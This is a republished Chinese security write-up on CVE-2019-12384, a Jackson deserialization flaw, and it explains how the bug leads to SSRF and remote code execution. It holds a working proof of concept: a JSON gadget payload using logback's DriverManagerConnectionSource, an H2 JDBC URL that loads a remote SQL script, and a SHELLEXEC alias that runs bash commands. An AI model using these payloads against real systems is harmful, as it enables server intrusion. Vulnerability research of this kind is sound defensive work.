CVE-2019-12384:Java Jackson库反序列化漏洞
2019-07-31 10:14:00 Author: xz.aliyun.com(查看原文) 阅读量:122 收藏

概述

在一次渗透测试中,我们分析到目标应用使用了Java Jackson库来反序列化JSONs数据。进一步分析我们找出了一个反序列化漏洞,通过该漏洞我们可以控制想要反序列化的类。在本文我将向各位展示攻击者如何利用这个反序列化漏洞来造成SSRF(服务端请求伪造)和远程代码执行。

这个Jackson库的漏洞被分配为CVE-2019-12384,大量RedHat的产品受到影响。

如何利用

关于如何触发这个库的漏洞,Jackson库开发者在博文中如是说:

  1. 应用程序接受不受信客户端传递来的JSON数据(手动编写代码或使用不可见不可控的代码)——即你无法预见将要接收的JSON数据。
  2. 针对java.lang.Object类型的属性,应用程序使用多态类型来处理(或少数几个可用的接口,例如java.util.Serializable,java.util.Comparable)。
  3. 应用程序的Java类路径中至少有一个可利用的“gadget”类。漏洞利用需要可以与Jackson库相配合的一个类。事实上,大部分的“gadget”只能配合某些特殊库使用,例如我们常见到的JDK序列化场景。
  4. 应用程序仍未更新Jackson库,它没有禁用某些“gadget”类。目前,网上已经发出了一些可利用的类,随着时间推移,未被发掘利用的类越来越少。Jackson使用了黑名单策略。反序列化是该库的核心功能无法剥离,维护者在不断地更新黑名单。

回到本文,在这次研究,条件1,2较为容易满足。其实我们只需要集中精力寻找一个既满足3又满足4的“gadget”类。值得注意的是,Jackson是Java应用中最常使用的反序列化框架之一,多态(polymorphism)类型是其中的一个重要概念。对于使用静态分析工具或其他动态技术的攻击者(例如在目标应用的请求或响应中查找关键词@class)来说,搜寻目标场景很简单。

环境搭建

针对这次研究,我们开发了一个小工具协助我们发现漏洞。Jackson反序列化时,我们可以滥用ch.qos.logback.core.db.DriverManagerConnectionSource类来实例化JDBC连接。JDBC即为Java Database Connectivity。JDBC是一个连接并查询数据库的Java API,属于JavaSE的一部分。此外,JDBC使用的是自动化映射字符到类,因此它是一个绝佳目标,可以帮助我们在利用链条上加载执行更多的“gadget”。

为了演示此次攻击,我们准备了一个包装器,可以指定攻击者想要加载的任意多态类。在环境方面,我们使用的是基于JVM的jRuby,以便于我们轻松地加载并实例化Java类。

我们使用该环境在给定目录中加载Java类,并且准备好了满足要求1,2的Jackson环境。为了实现这点,我们编写了下面这段jRuby代码:

require 'java'
Dir["./classpath/*.jar"].each do |f|
    require f
end
java_import 'com.fasterxml.jackson.databind.ObjectMapper'
java_import 'com.fasterxml.jackson.databind.SerializationFeature'

content = ARGV[0]

puts "Mapping"
mapper = ObjectMapper.new
mapper.enableDefaultTyping()
mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false);
puts "Serializing"
obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters
puts "objectified"
puts "stringified: " + mapper.writeValueAsString(obj)

脚本执行以下操作:

  1. 第二行,加载“classpath”子目录下所有的jar文件。
  2. 第五行到第十三行的,配置满足条件2的Jackson。
  3. 第十四行到第十七行,反序列化和序列化以JSON数据形式传递给jRuby的一组多态Jackson对象。

选取gadget

在本次研究我们会使用一些在社区流行的gadget。Maven central仓库的前一百库都是我们目标,以便显示影响。

如果你想复现这次攻击,你可以下载下面的这些库并放入“classpath”目录中:

值得注意的是SSRF攻击不要求使用h2库,根据经验大多数时候Java应用至少加载一个JDBC驱动程序。JDBC可以看作某些类,传入的JDBC URL会自动被实例化,完整URL会被作为参数传入。

使用下面这条命令,我们在上述类路径中调用上面的脚本。

$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:\"}]"

在脚本的第十五行,Jackson会使用子对象中的键值递归调用所有的set方法。具体来说,Jackson反射库会调用setUrl(String url),并作为参数传入。在此阶段完成后(第十七行),完整的对象再次被序列化为JSON对象。如没有定义get方法或通过显式get方法,此时所有的字段都会被直接序列化。有趣的是,我们的set方法是getConnection()。其实作为攻击者,他们最感兴趣的是所有的“不纯”方法,如果可以控制参数,这会产生一些有趣的副作用。

getConnection()被调用时,在内存中一个数据库被实例化。因为应用程序生命周期过于短暂,从攻击者角度无法获取有价值的影响。为了实现有趣的事,我们创建了一个远程数据库。如果目标应用被当作远程服务部署,攻击者可以发动SSRF攻击。下图即为一个例子:

从SSRF到RCE

正如你见,这些场景都可能会导致SSRF和DoS攻击。当然,这些攻击很有可能会影响到应用到安全性,我们仍想向你展示由SSRF转化RCE的完整链。

为了在应用程序的上下文中获取完整的代码执行权限,我们在环境中添加了加载H2 JDBC驱动程序的功能。H2是一个非常快速的SQL嵌入式数据库,常用于替代全功能的SQL数据库管理系统(例如Postgresql,MSSql,MySql和OracleDB)。H2配置非常便捷,而且它支持多种模块例如基于内存,文件或远程服务器。H2支持从JDBC URL中运行SQL脚本,该功能主要目的是方便内存数据库进行INIT迁移。攻击者通过这一点仍无法在JVM中真正地执行Java代码。然而我们的H2在JVM框架内运行,可以指定包含java代码的自定义别名。通过这点,我们可以实现代码执行。

通过本地构建Python Web服务器( python -m SimpleHttpServer),我们可以简单地托管inject.sqlINIT文件。

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('id > exploited.txt')

然后使用下面这段代码测试应用:

$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
...
$ cat exploited.txt
uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)

文章来源: http://xz.aliyun.com/t/5812
如有侵权请联系:admin#unsafe.sh